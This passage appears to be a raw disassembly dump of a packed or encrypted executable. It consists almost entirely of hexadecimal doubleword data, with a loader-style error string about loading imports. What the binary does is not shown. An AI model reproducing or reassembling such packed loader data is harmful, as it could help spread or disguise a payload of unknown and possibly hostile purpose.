41B02940h, 4D9337BFh, 15036C06h dd 0CEF0DC02h, 9B54156h, 3F5C79F7h, 0B73AA7B9h, 105AAB13h dd 460CE9A9h, 6C9A20AEh, 8AE1300h, 1F13007Dh, 0D210BC94h dd 0BCDAED3h, 0D5056B53h, 58770340h, 31C0E69Ch, 0AE36A3BFh dd 0E99FE9C3h dd 0AF6F57DAh, 5E000008h, 12C6D7FCh, 6719821Fh, 8D0CDC8h dd 62168710h, 0C6CDCECBh, 3D5CD5B5h, 16839860h, 405DD385h dd 1089A55Bh, 0BBE9A58Bh, 12FA4211h, 2EF3D805h, 0D50BC39Bh dd 150373DAh, 545E8448h, 50130110h, 1DD4C15Eh, 0F3A1559Bh dd 9F9206EDh, 4AE79902h, 9117A44Fh, 0A14F4AE3h, 1065772Dh dd 8F111301h, 55E77F3Fh, 0C0596746h, 4EBFAD34h, 39E9366h dd 4804CA9Ah, 951B1300h, 0FE9F7D7h, 0F3130048h, 3528B0EDh dd 0E9B745ACh, 0CD130048h, 4CE19480h, 0E8877955h, 728206EDh dd 100FB195h, 62FF7185h, 0FAEC7C77h, 0AE130047h, 0E984775Dh dd 941CABF0h, 0EAD2F6D6h, 2F4299FFh, 0AE44B0BAh, 13005907h dd 8818DBFDh, 5F213CADh, 0FADFC520h, 0B4AA10CEh, 0F89E9EE1h dd 8AF954FCh, 76E06A4h, 1D000002h, 5BD39B2Eh, 861CB03Eh dd 15034403h, 0DDDFEFF1h, 0E6F36841h, 1B86990Bh, 269A54D8h dd 0D4C40775h, 0FE9F51B2h, 0C9D7E67Ah, 13011603h, 746D01F7h dd 6658747Ah, 0B527CACFh, 50D41FBAh, 49D7569Eh, 923BBCE5h dd 34110362h, 0BA804A58h, 72748DC2h, 8B140882h, 32701C12h dd 8DC2BA88h, 209A5A7Ch, 0D360930Ch, 0FFBF0FDDh, 0F8683745h dd 4B59753Ch, 8DC25F81h, 0A6837375h, 569D3A32h, 4C514EE2h dd 52782662h, 468DC25Fh, 46DA54A0h, 5F23A937h, 0A1178DC2h dd 5EE21188h, 5935E90h, 0E0491571h, 6906F8CEh, 493B886Ch dd 0E0FD728Ch, 12879F11h, 63935DDFh, 606C75E9h, 0F8D4C15Eh dd 3CEAE0EAh, 22D2D41Fh, 129F9345h, 606C821Fh, 2348CC20h dd 2FC7365Ah, 0A1B20AB0h, 44CAF08Bh, 7830C333h, 367C22AAh dd 3C1F3D27h, 0F816BD84h, 19DD0970h, 6E58456Bh, 2EC6D34Ch dd 0BD34A5BCh, 24A87A32h, 3C77407Eh, 0E9B2341Fh, 0EEDEFB77h dd 0AB0EE9Ah, 0FE1F3C78h, 77C00AD8h, 32B41F3Ch, 50C93BC2h dd 3E36AA49h, 4DE65A99h, 0F213A948h, 159F4502h, 111F3C77h dd 5B23618Fh, 774B712Fh, 993F1F3Ch, 371C085Dh, 0C52CADC5h dd 2539B343h, 519DFBCh, 5B50309Ch, 77F3B23Bh, 9E29A84Ch dd 86785416h, 8709E8EDh, 0B715CB6Fh, 0AD1F3CD6h, 0D6F9C3E1h dd 0EBED1F3Ch, 4A53550Bh, 0A3DB9A96h, 19DFC194h, 5A60820Eh dd 4E1F3CB0h, 0D94BA648h, 20AA3847h, 1E1F3CB0h, 3CB03A80h dd 1AA82E1Fh, 4975A94h, 0E812371Dh, 0F5E27A77h, 0ED81FBFBh dd 3E426904h, 0CB5E7532h, 2CB909E7h, 6C767363h, 7825CBh dd 0F380736Ch, 0DDDFEFBDh, 0F19D5940h, 3CCFFDB3h, 6A01FB1Fh dd 0D7D9876Fh, 7F1C12C6h, 3C1E774h, 0C350F3CBh, 0BF6F6283h dd 87379337h, 58B4D189h, 0BB49AD1Eh, 1F3C7E01h, 0AF15CBFFh dd 0AB1F3C7Dh, 9D43F105h, 2B474B00h, 8939EDAEh, 5D0164BEh dd 5CF994E5h, 0FACA764Ah, 34ADC13Fh, 0AA6235C0h, 0E9F95A22h dd 1EF7CD28h, 0F56C32D6h, 0F315035Bh, 41DFE1EDh, 26CDCA64h dd 40804CA2h, 9A94DA59h, 133BD97h, 3D29CC76h, 0F26643B3h dd 0E4F16F7Ch, 8E658B0Dh, 70EEB601h, 0A3418D63h, 0BCDC2B8h dd 23C72AACh, 0AFF58299h, 1C35BB05h, 0E211DF01h, 0C608965Eh dd 0DD1C35CAh, 24BA12CAh, 1502DC89h, 7663B6Fh, 0C7A85EBDh dd 43C52CA9h, 0F2C315ADh, 5B39EE16h, 76EA5E95h, 67B27D69h dd 882BF2D5h, 5299Eh, 5D7AD800h, 3CA5B840h, 1B86995Fh dd 7166FE82h, 1CBDB42Ch, 43C7B47Fh, 6AEEAF2Ah, 41B7E4F1h dd 77E9B22Fh, 0BBDDEFBh, 3D971DC3h, 29312FAh, 0FCAD15C1h dd 396C4B85h, 13A631C5h, 0F469933Bh, 3F6509EDh, 1502C470h dd 0DFFC7284h, 6E5E9014h, 30C4D54Ch, 0BC9C23B1h, 0B15D1300h dd 0BCFDC7DDh, 0F7F91300h, 9C2B2FFh, 928582C4h, 0F6BCE2A6h dd 0F21300C4h, 0C76108ECh, 32000000h, 3641B52Bh, 0E7D9F51Ch dd 0A2734F4Ah, 0CC9FF199h, 3C00D420h, 3E685290h, 3A5C1C36h dd 0B32C40BAh, 8B316F1Bh, 7F1C363Eh, 1FC09D59h, 0CE14B888h dd 1C363EECh, 4A57C8F2h, 0DA1ABFB4h, 0CB6F8224h, 0D42E81F3h dd 866EB615h, 4F7F1814h, 0CE26B3ADh, 59476EF9h, 83989507h dd 6959DB16h, 0E50B43A2h, 61BA5E9h, 20D4589Bh, 35613092h dd 6F82241Ch, 237861FDh, 319D6D44h, 35616D73h, 21532B1Ch dd 3D727474h, 6B6D23D3h, 60D6F888h, 198A1C35h, 445A2E2Bh dd 1C35607Eh, 268C527Ah, 221C3560h, 0EF82727Ch, 0BEE4E8B8h dd 1C356118h, 4B4CE4D6h, 6C03F5ABh, 6F4F7F71h, 0E7FD9DCEh dd 0A78470CFh, 0F1BBh, 0EB150C00h, 0DCFD7570h, 995D9315h dd 0EBE3BB0Eh, 373FAB5h, 48561E15h, 13011082h, 4E7E7076h dd 588BEF6Eh, 3CEAD6C3h, 0C241B57Bh, 59D0D54Eh, 0C12FB140h dd 0E1BB0BDCh, 0DA19B7EDh, 0DBFD1300h, 4D54C9F3h, 4BD222A6h dd 7C1D15A7h, 6D03F375h, 0DA94551Ch, 757C1D14h, 836E6B03h dd 775C4895h, 6BAA6369h, 9F515725h, 0C88173F2h, 801A9485h dd 7DE2h, 982EB100h, 0EED40AC2h, 0F41C3641h, 0F8B78B8Ch dd 0F4787B64h, 8D5728CCh, 0BE35BB69h, 0D7C4D14Ah, 0BF059BEFh dd 0BB1C3585h, 0C10B9935h, 0B51C3585h, 6630C333h, 366C20ACh dd 1C35858Ch, 85664C92h, 3C621C35h, 0E8946086h, 358644BAh dd 0CE14B81Ch, 1C3585E4h, 0C130BEE0h, 35458D33h, 837D411Ch dd 8004EFEAh, 10351F74h, 916075EEh, 627FF10Fh, 0DDB7FF92h dd 463DB3F1h, 2FB11C35h, 2B47BD6Eh, 5DD143AEh, 3D885744h dd 343B6965h, 0E8150364h, 1B9D2BC6h, 0DC13011Bh, 8BC29B89h dd 0DC928523h, 3Eh, 72EB15ABh, 6188C67h, 0B5A95799h, 6A3DC82Ch dd 4C6E1AB2h, 0A02EC6D3h, 15037175h, 0FE8E658Bh, 130111B8h dd 876A77E8h, 787B1E15h, 0CEA99B08h, 577064C1h, 928529F6h dd 0BE71h, 0AD152200h, 0B386A543h, 0AE2B44C5h, 33A0BE40h dd 46B83CC0h, 0D246AD2Ah, 41B33E5Bh, 0CB3DB42Dh, 73514A57h dd 1C35E82Dh, 398011Dh, 1608E17Dh, 8E66A89h, 0A3BB45E9h dd 0BD39BB36h, 7C79F2Ah, 0F3D907C3h, 0E71C35E7h, 0C09F35C1h dd 0B4150313h, 3BC56932h, 0B33EB623h, 1AA428E0h, 0BA5E9603h dd 0CC801324h, 4F7F210Bh, 3935B4ADh, 8B4D4EA0h, 1EDF0792h dd 0BFE9A254h, 2184A34h, 95C70000h, 78F56B30h, 0ABC43C61h dd 73EB6D2Eh, 0AAC33566h, 0D4A56E2Fh, 19A3F36h, 0ACF1E47Fh dd 9D3A34h, 0A2FBE478h, 0FAC0DEAEh, 0EE12FA3Ah, 2E47DEDDh dd 0F26EF2ABh, 41971DC3h, 0D931C36h, 2E19BAE3h, 0B30BC39Bh dd 0AEFAE89Bh, 27D323F5h, 348AE79h, 86245C15h, 0AE94B14Bh dd 51570DE9h, 677D517Dh, 1300605Dh, 278D5759h, 23130060h dd 54FA797Dh, 0CA2AB7AAh, 609234h, 2DAAC213h, 0BFDC52C6h dd 0EDD74434h, 3420850Ah, 85DABA13h, 0DAAD92h, 0E7D90000h dd 36AA494Ch, 0D759983Dh, 4736DD19h, 9F43AE2Bh, 6093061Dh dd 8B2F0DCh, 0FC1C3642h, 89A01ADAh, 0C33DE110h, 2DC333AEh dd 1C36466Bh, 0D52C47DBh, 0FC13300Bh, 31158668h, 0A2D6918Fh dd 0D593F987h, 7DFFF2FCh, 6E6B0779h, 0F5ADF883h, 0B4ACCBD9h dd 4E501502h, 6F27724Dh, 5CBF415Fh, 0AD330BCCh, 14819F21h dd 0ABC23CE0h, 15B96D2Eh, 341AE5CFh, 53CFE11Ch, 0C729AB46h dd 35A4BD2Fh, 0A1B8E2B1h, 8E78FBE9h, 0FAh, 6D2E8BA9h, 326B76EBh dd 7724B1AEh, 2B706901h, 801DBCB5h, 2D44C6B3h, 0F269EFACh dd 2C42B6E7h, 0F66AEEAFh, 0D0FCB4E9h, 0FA39A812h, 0CCEF9C12h dd 0D19AAD15h, 2DD7C8EDh, 0BBDE57C9h, 0F794ECE2h, 2111E7Eh dd 0FAF99E96h, 27C7876h, 872C716Eh, 1EAE2B47h, 0E212879Ch dd 3E75E95Bh, 0C9B02179h, 0DFBC323Ch, 0F1DDB500h, 6F0C239Dh dd 355E8B31h, 97597F1Ch, 5E23A937h, 91171C35h, 0DB4ACF65h dd 2AD4150Ch, 0C94BA633h, 0ED81772Dh, 85F7FAF4h, 0E2DCF0E9h dd 62804C49h, 12FB2258h, 0CDAA4A4Ch, 3A68170Bh, 12FB2290h dd 0DDFA7284h, 925C9216h, 0E735D15Fh, 73F240BDh, 5D7AF681h dd 0F9748640h, 831650B2h, 7B750AECh, 526D017Bh, 4179268Ch dd 727C22BFh, 84150D7Fh, 19BEB648h, 1F9E56DAh, 5F0E431h dd 832B7069h, 0FAF9E079h, 100C7E76h, 3826C87h, 0C3000000h dd 1547844Fh, 53CF41B0h, 2739AB46h, 0AEC537BAh, 0DD54C82Bh dd 0AAC335BCh, 0D850C42Fh, 0AFC034BFh, 0D04DBF32h, 505D2AC9h dd 405E089h, 55000000h, 4BDh, 5DE82900h, 5C240487h, 6D9368h dd 241C8900h, 7EEC68h, 240C8900h, 0FCBEBA52h, 8950093Bh dd 58C389D0h, 4EC815Ah, 89000000h, 4832424h, 68590424h dd 490Ch, 81241C89h, 68DD2404h, 418F6FAAh, 8698108h, 6FAA68DDh dd 56240C8Bh, 0C681E689h, 4, 4C681h, 34870000h, 1C8B5C24h dd 0E0895024h, 405h, 40500h, 4870000h, 91E95C24h, 4AFFF974h dd 70A8B3Dh, 56A0866Ah, 0B81E9869h, 93C09BDh, 0E0FFC503h dd 36759120h, 406F0F96h, 65B6EBD0h, 4476C168h, 274AABDAh dd 36D91196h, 951B18Ah, 596BE473h, 58469220h, 489072EBh dd 1FA23B21h, 0B4F8D8Dh, 6660093Ch, 8B1B47BAh, 8D8961F1h dd 9351629h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0A8C35242h, 0C3904882h, 0F5BD3381h, 8B09350Dh dd 3500E5BDh, 7D85C709h, 0D4093528h, 6A000068h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 6B0C355h, 25B86618h, 5585C766h, 93522h, 0E9000000h dd 10h, 2B75C4BDh, 0CF3CFCA9h, 0FF159F7Eh, 0C0EDB50Fh dd 2C79B5FFh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 3C38EDC3h, 0FDA9BF6Bh, 95FF6B16h dd 9350D05h, 22919533h, 6A0935h, 82995FFh, 0C08B0935h dd 8F0A29EBh, 0D4EF3E47h, 16346005h, 0EFEFE6Eh, 0CB756473h dd 45A1B72Bh, 404A42B3h, 16E5B4D4h, 79D2987Dh, 8967C5BBh dd 0E95DB46Ch, 127h, 73765B50h, 154EEFACh, 0 aAnErrorHasOcur db 'An Error has ocurred while loading imports',0 db 37h dd 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h, 77F7E3h dd 777E600h, 5 dup(0) dd 0FD000000h, 77E7A5h, 2Bh dup(0) dd 2000000h, 48000000h, 0F4C706E1h, 0CF63921Dh, 838F96A6h dd 113B2040h, 35B11C13h, 4D07251Fh, 722B6166h, 0A9F29E35h dd 88321177h, 6EF390EFh, 0BFBF1C53h, 1805A15Eh, 0D069C699h dd 744BA8E5h, 56321C53h, 0A9614571h, 88321177h, 6EF390EFh dd 0BFBF1C53h, 1805A441h, 0D069C699h, 0F9B1D5EDh, 2B0E1EB7h dd 1B61A66h, 5321566h, 7FC12DE3h, 0AFE2EA6Fh, 2AC17DE3h dd 4EE2EA6Fh, 712588E3h, 705A436Fh, 0EEAEBDDEh, 0BD2468D3h dd 34B7986Fh, 0DD3B2D1Dh, 0E0B79CB6h, 53B2047h, 783EB4E3h dd 0A7BF456Fh, 180E1EE4h, 0D5A7EA36h, 833B206Dh, 173FE8E3h dd 1132156Fh, 15B7D366h, 13B2071h, 505B7C0Eh, 0D887EAE8h dd 53B2068h, 710A8DE3h, 0ABE2EA6Fh, 2413F0E3h, 15B7D36Fh dd 73B2071h, 45594B0Eh, 0D887EAFAh, 53B2068h, 710A8DE3h dd 0ABE2EA6Fh, 2D39ACE3h, 15B7D36Fh, 103B2071h, 405A3C0Eh dd 0D887EA88h, 53B2068h, 710A8DE3h, 0ABE2EA6Fh, 2D39A8E3h dd 15B7D36Fh, 13B2071h, 420AD70Eh, 0D887EABCh, 53B2068h dd 710A8DE3h, 0ABE2EA6Fh, 2D39D4E3h, 918F966Fh, 443B207Ah dd 22779069h, 94F41566h, 810702FBh, 3AB47D23h, 97CDEF46h dd 18071BAFh, 0B0AA90EBh, 94CD1C53h, 29F790EFh, 94F41C5Ah dd 810702FBh, 94F17D2Ah, 97CDF540h, 18071BAFh, 0B0AA90EBh dd 94CD1C53h, 29FB90EFh, 51DB1C5Ah, 4E321566h, 712588E3h dd 2F5A476Fh, 0EE8E5F82h, 0BD192CD3h, 0DCB7986Fh, 0DD3B205Eh dd 0D4B79CB6h, 4E3B296Dh, 712588E3h, 6A5A476Fh, 0EE94592Ch dd 0BD192CD3h, 0DCB7986Fh, 0DD3B205Eh, 0D8B79CB6h, 4E3B296Dh dd 712588E3h, 0C85A476Fh, 0EECF57D2h, 0BD3CDCD3h, 0DCB7986Fh dd 0DD3B205Eh, 0B0B79CB6h, 4E3B207Bh, 712588E3h, 815A626Fh dd 0EEC182CEh, 0BD3768D3h, 0DCB7986Fh, 0DD3B205Eh, 0F4B79CB6h dd 4E3B2064h, 712588E3h, 355A476Fh, 0EEB8C857h, 0BD3CDCD3h dd 0DCB7986Fh, 0DD3B205Eh, 0C8B79CB6h, 4E3B206Ch, 712588E3h dd 1B5A436Fh, 0EEE60A0Bh, 0BD2468D3h, 34B7986Fh, 0DD3B2D1Dh dd 0C8B79CB6h, 4E3B204Dh, 712588E3h, 585A526Fh, 0EEB3C976h dd 0BD3CDCD3h, 0DCB7986Fh, 0DD3B205Eh, 2CB79CB6h, 4E3B207Dh dd 712588E3h, 0C05A526Fh, 0EEB81AD3h, 0BD3CDCD3h, 0DCB7986Fh dd 0DD3B205Eh, 0F8B79CB6h, 0B3B296Dh, 713234DBh, 0A63D156Fh dd 11321337h, 9FAF90A0h, 2C7E1C53h, 0FBE8098Fh, 1FFBA099h dd 0DBF1C53h, 4D072DFEh, 0A7BBC599h, 180E1EB3h, 9FAF90A0h dd 2C7E1C53h, 0FF46CBA8h, 1FFBA099h, 0DBF1C53h, 4D072DFEh dd 0A7BBC599h, 180E1EBFh, 9FAF90A0h, 2C7E1C53h, 95B39759h dd 1FFBA099h, 0DBF1C53h, 4D072DFEh, 0A7BBC599h, 180E1EBBh dd 9FAF90A0h, 2C7E1C53h, 911D557Eh, 1FFBA099h, 0DBF1C53h dd 4D072DFEh, 0A7BBC599h, 180E1EBBh, 9FAF90A0h, 2C741C53h dd 98EC1372h, 1FFBA099h, 0DBF1C53h, 4D072DFEh, 0A7BBC599h dd 180E1E83h, 9FAF90A0h, 2C751C53h, 0A3EE051Ch, 1FFBA099h dd 0DBF1C53h, 4D072DFEh, 0A7BBC599h, 180E1E8Bh, 9FAF90A0h dd 2C751C53h, 0CDB59BCAh, 1FFBA099h, 0DBF1C53h, 4D072DFEh dd 0A7BBC599h, 180E1E97h, 9FAF90A0h, 2C751C53h, 0F6A8B2B4h dd 1FFBA099h, 0DBF1C53h, 4D072DFEh, 0A7BBC599h, 180E1E93h dd 9FAF90A0h, 2C751C53h, 98F32C62h, 1FFBA099h, 0DBF1C53h dd 4D072DFEh, 0A7BBC599h, 180E1E9Fh, 0A3FBA8E5h, 31321C53h dd 0BFB7D346h, 563B2071h, 0FA1F720Eh, 8D87EA86h, 0AF3B2068h dd 240A8DE3h, 1E2EA6Fh, 7839E8E3h, 0BFB7D36Fh, 563B2071h dd 0A181A40Eh, 8D87EAE8h, 0AF3B2068h, 240A8DE3h, 1E2EA6Fh dd 783E14E3h, 0BFB7D36Fh, 523B2071h, 0FE78B20Eh, 8D87EAA6h dd 0AF3B2068h, 240A8DE3h, 1E2EA6Fh, 783E10E3h, 0BFB7D36Fh dd 5D3B2071h, 0EE5EFE0Eh, 3987EA9Dh, 0AF3B2063h, 240A8DE3h dd 1E2EA6Fh, 783E8CE3h, 0BFB7D36Fh, 553B2071h, 0FBBC400Eh dd 8D87EADDh, 0AF3B2068h, 240A8DE3h, 1E2EA6Fh, 783E1CE3h dd 0BFB7D36Fh, 523B2071h, 65CE90Eh, 8D87EADAh, 0AF3B2068h dd 240A8DE3h, 1E2EA6Fh, 783E18E3h, 0BFB7D36Fh, 423B2071h dd 980CBF0Eh, 8D87EAA0h, 0AF3B2068h, 240A8DE3h, 1E2EA6Fh dd 783E04E3h, 838F966Fh, 113B204Eh, 88D29169h, 0C1F41566h dd 2B0702FBh, 0DF037D20h, 3DCDEFF0h, 4D071BAFh, 1AAA90EBh dd 0C1CD1C53h, 845F90EFh, 0C1F41C5Ah, 2B0702FBh, 2BE47D20h dd 3DCDE9C1h, 4D071BAFh, 1AAA90EBh, 0C1CD1C53h, 844F90EFh dd 0C1F41C5Ah, 2B0702FBh, 0B5327D20h, 3DCD879Ah, 4D071BAFh dd 1AAA90EBh, 0C1CD1C53h, 84B390EFh, 0C1F41C5Ah, 2B0702FBh dd 5E587D20h, 3DCDE3B2h, 4D071BAFh, 1AAA90EBh, 0C1CD1C53h dd 84B790EFh, 0C1F41C5Ah, 2B0702FBh, 41D57D20h, 3DCD81ABh dd 4D071BAFh, 1AAA90EBh, 0C1CD1C53h, 844390EFh, 0C1F41C5Ah dd 2B0702FBh, 65097D20h, 3DCDA444h, 4D071BAFh, 1AAA90EBh dd 0C1CD1C53h, 844790EFh, 0C1F41C5Ah, 2B0702FBh, 0FBDF7D20h dd 3DCDCA1Fh, 4D071BAFh, 1AAA90EBh, 0C1CD1C53h, 844B90EFh dd 0F9B11C5Ah, 2B073EAFh, 0D7126066h, 0BD2588E3h, 1A5A466Fh dd 0DDFCAB86h, 243CDCD3h, 10B7986Fh, 0BB3B205Eh, 37B79CB6h dd 0D73B296Ah, 0BD2588E3h, 0C35A526Fh, 0DDF5A438h, 243CDCD3h dd 10B7986Fh, 0BB3B205Eh, 3BB79CB6h, 923B296Ah, 0BD19DCDBh dd 6447156Fh, 35AF90A0h, 79751C53h, 6E506B63h, 4AFBA099h dd 0A7BF1C53h, 18072DFEh, 0DBBC599h, 4D0E197Bh, 35AF90A0h dd 79711C53h, 1A481C90h, 4AFBA099h, 0A7BF1C53h, 18072DFEh dd 0DBBC599h, 4D0E1947h, 35AF90A0h, 79711C53h, 74138246h dd 4AFBA099h, 0A7BF1C53h, 18072DFEh, 0DBBC599h, 4D0E1943h dd 9FBA8E5h, 64321C53h, 15B7D326h, 73B2071h, 229A160Eh dd 0D887EAEDh, 53B2068h, 710A8DE3h, 0ABE2EA6Fh, 2D3E38E3h dd 15B7D36Fh, 73B2071h, 7904C00Eh, 0D887EA83h, 53B2068h dd 710A8DE3h, 0ABE2EA6Fh, 2D3E3CE3h, 15B7D36Fh, 73B2071h dd 8800F40Eh, 0D887EA8Ch, 53B2068h, 710A8DE3h, 0ABE2EA6Fh dd 2D3E24E3h, 15B7D36Fh, 73B2071h, 0D39E220Eh, 0D887EAE2h dd 53B2068h, 710A8DE3h, 0ABE2EA6Fh, 2D3E20E3h, 15B7D36Fh dd 0B3B2071h, 17A2C10Eh, 0D887EAF1h, 53B2068h, 710A8DE3h dd 0ABE2EA6Fh, 2D3E2CE3h, 15B7D36Fh, 0B3B2071h, 4C3C170Eh dd 0D887EA9Fh, 53B2068h, 710A8DE3h, 0ABE2EA6Fh, 2D3E28E3h dd 15B7D36Fh, 93B2071h, 154B5C0Eh, 0D887EAAEh, 53B2068h dd 710A8DE3h, 0ABE2EA6Fh, 2D3E50E3h, 15B7D36Fh, 93B2071h dd 0D57F9C0Eh, 0D887EABAh, 53B2068h, 710A8DE3h, 0ABE2EA6Fh dd 2D3E54E3h, 15B7D36Fh, 113B2071h, 391F220Eh, 0D887EAFAh dd 53B2068h, 710A8DE3h, 0ABE2EA6Fh, 2D3E5CE3h, 15B7D36Fh dd 73B2071h, 0F7C23F0Eh, 0D887EAB4h, 53B2068h, 710A8DE3h dd 0ABE2EA6Fh, 2D3E58E3h, 15B7D36Fh, 163B2071h, 6086FF0Eh dd 0D887EA9Bh, 53B2068h, 710A8DE3h, 0ABE2EA6Fh, 242FB4E3h dd 15B7D36Fh, 33B2071h, 0BA6B8C0Eh, 0D887EA84h, 53B2068h dd 710A8DE3h, 0ABE2EA6Fh, 2D3E44E3h, 15B7D36Fh, 33B2071h dd 0DF52D70Eh, 0D887EAD7h, 53B2068h, 710A8DE3h, 0ABE2EA6Fh dd 2D3E40E3h, 15B7D36Fh, 33B2071h, 84CC010Eh, 0D887EAB9h dd 53B2068h, 710A8DE3h dd 0ABE2EA6Fh, 2D3E4CE3h, 15B7D36Fh, 1B3B2071h, 72C07D0Eh dd 0D887EAF8h, 53B2068h, 710A8DE3h, 0ABE2EA6Fh, 2D3E48E3h dd 15B7D36Fh, 0B3B2071h, 0DE492A0Eh, 0D887EAA1h, 53B2068h dd 710A8DE3h, 0ABE2EA6Fh, 2D3E9CE3h, 15B7D36Fh, 33B2071h dd 795C590Eh, 0D887EA9Ch, 53B2068h, 710A8DE3h, 0ABE2EA6Fh dd 2D3E98E3h, 15B7D36Fh, 33B2071h, 2416D80Eh, 0D887EAA5h dd 53B2068h, 710A8DE3h, 0ABE2EA6Fh, 2D3E84E3h, 15B7D36Fh dd 1B3B2071h, 9952D90Eh, 0D887EAB2h, 53B2068h, 710A8DE3h dd 0ABE2EA6Fh, 2D3E74E3h, 15B7D36Fh, 1B3B2071h, 0CB665B0Eh dd 0D887EAF8h, 53B2068h, 710A8DE3h, 0ABE2EA6Fh, 2D3E70E3h dd 15B7D36Fh, 1B3B2071h, 311A5D0Eh, 0D887EAB7h, 53B2068h dd 710A8DE3h, 0ABE2EA6Fh, 2D3E7CE3h, 0E0367F6Fh, 44320566h dd 2222150Eh, 0EE327F66h, 0BD13E4F3h, 0A1B79C6Fh, 0AF3B2044h dd 2AF831E3h, 0E2E2EA6Fh, 54327D62h, 225A1566h, 7B321546h dd 79A7EA66h, 0CD3B2047h, 172CD0E3h, 80B79C6Fh, 0E23B206Ah dd 54327D26h, 225A1566h, 7B321466h, 79A7EA66h, 0CD3B2047h dd 173DC8E3h, 0C8879E6Fh, 33B207Dh, 711EA0FBh, 1F879C6Fh dd 983B207Ah, 0BD1F3CFBh, 0F1AF9E6Fh, 0A93B204Ah, 11CB966Dh dd 82ED9169h, 15621566h, 0ABF22606h, 242068E3h, 880EAB6Fh dd 30311566h, 8F543542h, 31165165h, 8B4A65EDh, 0CF123112h dd 9FBB0D18h, 18073FABh, 0D3DEAE3h, 4432156Ch, 22231B8Eh dd 11A3FC66h, 3631566h, 40E07EB1h, 0F3380EFh, 15581C53h dd 8822150Eh, 44584766h, 3C38099h, 94BB1C53h, 810707B7h dd 0AC6BC5EDh, 223205B9h, 5531B830h, 3A53142h, 840042B9h dd 0DBB71AC8h, 4FCDEA99h, 360EE4Dh, 0A18F9EB1h, 0A13B2044h dd 0D101EAAFh, 490013ECh, 0C3369E20h, 113AFCA7h, 943D5FAEh dd 77CDEA8Ch, 94C5D4EDh, 0A1309C3Ch, 0EE6011A4h, 0BD2068E3h dd 39A79E6Fh, 1B3B2074h, 2418D8F3h, 82B61A6Fh, 1E321566h dd 26F49638h, 0EECD8E8Fh, 0E96C4F99h, 0C1F54D3Fh, 2B071337h dd 11321566h, 88DB90A1h, 44321C53h, 9FB11566h, 180E1EB7h dd 80B61A66h, 0C9321566h, 195E3AFBh, 0EEE1EA6Fh, 0BD2478E3h dd 298F966Fh, 463B2070h, 11509769h, 0DF51566h, 4D07030Bh dd 22321567h, 0B8879806h, 53B296Ah, 781B01DBh, 0A9CC3E6Fh dd 0F48F9EB1h, 0B3B2044h, 8401EAAFh, 0E30013ECh, 96369E20h dd 0BB3AFCA7h, 0C13D5FAEh, 0DDCDEA8Ch, 0C1C5D4EDh, 0A24B905Fh dd 0C03D1C53h, 22321571h, 3257A8E5h, 87321C53h, 44321FE3h dd 0DFB7D266h, 103B206Bh, 0E9321566h, 77D3F7DFh, 44CBAF1Ah dd 989F78C9h, 0BD2E28D3h, 0B874D26Fh, 22321566h, 0FFDCFB5Bh dd 0A8B71A88h, 0C5321566h, 0FFEFC858h, 5B71ABBh, 4F321566h dd 44321560h, 26F49666h, 0D0FA0EFh, 71DB1C53h, 0CF32156Eh dd 0DFB726BEh, 0D03B206Bh, 4A1916AEh, 7722D5A7h, 0DFAF9CA7h dd 2C3B206Bh, 88331566h, 44779669h, 1CB31566h, 0AA89AEDDh dd 880B9069h, 42F51566h, 22321566h, 9836D3E5h, 0BD2E28D3h dd 0F1AF9E6Fh, 0A93B204Ah, 71E29E6Dh, 0D19D7EDh, 4D07314Fh dd 2130F5A7h, 2434B4E3h, 8B9F836Fh, 60769CA7h, 5EDB747Ah dd 40321566h, 3FB2634h, 7120C4F3h, 2D302E6Fh, 11322DE2h dd 8CF09666h, 89BF2E27h, 2D3B204Ch, 0EECDFDE3h, 6879899h dd 0C93B296Dh, 172D88DBh, 0D1B6B96Fh, 88349169h, 0AD981566h dd 0DDCDEA97h, 113215DEh, 8ABF9866h, 0BB3B202Ah, 5FBF9C87h dd 4B3B2074h, 15B9433Fh, 4D0739D3h, 0A7B91EEDh, 1807071Bh dd 0D31F5B7h, 4D0705E3h, 44A4E355h, 13D2D4CBh, 8E939065h dd 0E9A41C53h, 0A16CD465h, 243074DBh, 0C3D146Fh, 4432155Fh dd 2CFB985Dh, 953D1C53h, 8832154Bh, 414F985Dh, 0A63D1C53h dd 11321547h, 0AE13985Dh, 0C03D1C53h, 22321573h, 31DE88EBh dd 5BCD1C5Ah, 0C1BBEDEDh, 2B073D53h, 1134A18Fh, 64AF9866h dd 0BB3B2946h, 438F96B5h, 113B2064h, 882F9169h, 0C1091566h dd 2B073243h, 113E9169h, 0D091566h, 4D0716E7h, 22379069h dd 0A8DB1566h, 0B3CDEA99h, 7113F0E3h, 3AB71A6Fh, 92321566h dd 0BD2E0CDBh, 0C13D156Fh, 2232156Dh, 0DECC90EBh, 1DDB1C5Dh dd 7FCDEA99h, 1713F0E3h, 98B61A6Fh, 0BCDEA99h, 78399FDBh dd 0A73D146Fh, 11321571h, 83DB905Dh, 0C13D1C5Ah, 2232156Dh dd 0F79290EBh, 0E5DB153Eh, 77CDEA99h, 38F9699h, 113B2066h dd 8B559169h, 0C1091566h, 2B0E1EB3h, 94B91213h, 8107364Fh dd 99B72E21h, 573B296Dh, 0F4B79E61h, 0CF3B207Bh, 4FEB905Dh dd 25471C5Ah, 1E390EDh, 0B3751C53h, 7839F4E3h, 0A935606Fh dd 243140E3h, 0D09526Fh, 4D0E1E83h, 0A7B91213h, 18070557h dd 61B72E21h, 313B296Dh, 0BB79E61h, 563B204Ah, 83DF905Dh dd 43471C5Ah, 94790EDh, 2A751C53h, 0B439E4E3h, 0CF35606Fh dd 171DACE3h, 9409526Fh, 810E1E93h, 0C1B91213h, 2B07310Fh dd 0E8B72E21h, 0FD3B296Dh, 9DB79E61h, 653B2076h, 1D33905Dh dd 8F471C5Ah, 63F790EDh, 19751C53h, 2D39E8E3h, 0B22606Fh dd 7119DCDBh, 2547156Fh, 219F90EDh, 0B751C53h, 712D74DBh dd 2D46156Fh, 1DBB905Dh, 8F471C5Ah, 6B0B90EDh, 0A1751C53h dd 241AB4DBh, 0FA46156Fh, 44FFA8E5h, 56321C53h, 7CB72E0Fh dd 0FD3B296Ah, 35B79E61h, 653B204Ch, 1D4F905Dh, 8F471C5Ah dd 4B3390EDh, 19751C53h, 2D3E64E3h, 335606Fh, 713F90E3h dd 0A709526Fh, 180E19E7h, 0DB91213h, 4D072753h, 0A7B72E21h dd 